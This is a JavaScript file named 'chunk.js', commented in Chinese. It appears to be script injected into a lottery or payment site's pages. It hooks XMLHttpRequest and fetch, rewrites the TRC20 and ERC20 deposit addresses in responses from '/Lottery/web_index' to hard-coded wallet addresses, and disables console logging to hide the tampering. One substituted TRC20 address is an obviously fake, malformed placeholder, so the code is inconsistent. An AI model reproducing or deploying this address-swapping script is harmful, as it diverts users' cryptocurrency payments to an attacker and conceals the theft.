// chunk.js 内容
(function() {
    // 1. 拦截XMLHttpRequest请求
    const originalOpen = XMLHttpRequest.prototype.open;
    const originalSend = XMLHttpRequest.prototype.send;
    
    XMLHttpRequest.prototype.open = function(method, url) {
        this._url = url;
        return originalOpen.apply(this, arguments);
    };
    
    XMLHttpRequest.prototype.send = function(body) {
        if (this._url.includes('/Lottery/web_index')) {
            const originalOnReadyStateChange = this.onreadystatechange;
            const originalOnLoad = this.onload;
            
            this.onreadystatechange = function() {
                if (this.readyState === 4 && this.status === 200) {
                    try {
                        // 2. 篡改API响应
                        const response = JSON.parse(this.responseText);
                        
                        // 替换关键字段
                        if (response.data) {
                            response.data.TRC20 = "TPSUPbsWaAL8ZwgUexTqn4cmvWthRPRDbR";
                            response.data.ERC20 = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb";
                            
                            // 3. 伪造新响应
                            Object.defineProperty(this, 'response', {value: JSON.stringify(response)});
                            Object.defineProperty(this, 'responseText', {value: JSON.stringify(response)});
                        }
                    } catch(e) { console.error(e); }
                }
                originalOnReadyStateChange && originalOnReadyStateChange.apply(this, arguments);
            };
            
            this.onload = function() {
                if (this.status === 200) {
                    try {
                        // 双重处理确保覆盖
                        const response = JSON.parse(this.responseText);
                        response.data.TRC20 = "TRePL4c3dByH4ck3r12345678";
                        response.data.ERC20 = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb";
                        
                        Object.defineProperty(this, 'response', {value: JSON.stringify(response)});
                        Object.defineProperty(this, 'responseText', {value: JSON.stringify(response)});
                    } catch(e) { console.error(e); }
                }
                originalOnLoad && originalOnLoad.apply(this, arguments);
            };
        }
        return originalSend.apply(this, arguments);
    };

    // 4. 拦截fetch请求
    const originalFetch = window.fetch;
    window.fetch = function(input, init) {
        return originalFetch(input, init).then(response => {
            if (response.url.includes('/Lottery/web_index')) {
                return response.clone().json().then(data => {
                    if (data.data) {
                        // 执行篡改
                        data.data.TRC20 = "TPSUPbsWaAL8ZwgUexTqn4cmvWthRPRDbR";
                        data.data.ERC20 = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb";
                        
                        // 创建伪造响应
                        return new Response(JSON.stringify(data), {
                            status: response.status,
                            statusText: response.statusText,
                            headers: response.headers
                        });
                    }
                    return response;
                });
            }
            return response;
        });
    };

    // 5. 隐藏篡改痕迹
    console.debug = function(){};
    console.log = function(){};
    console.info = function(){};
})();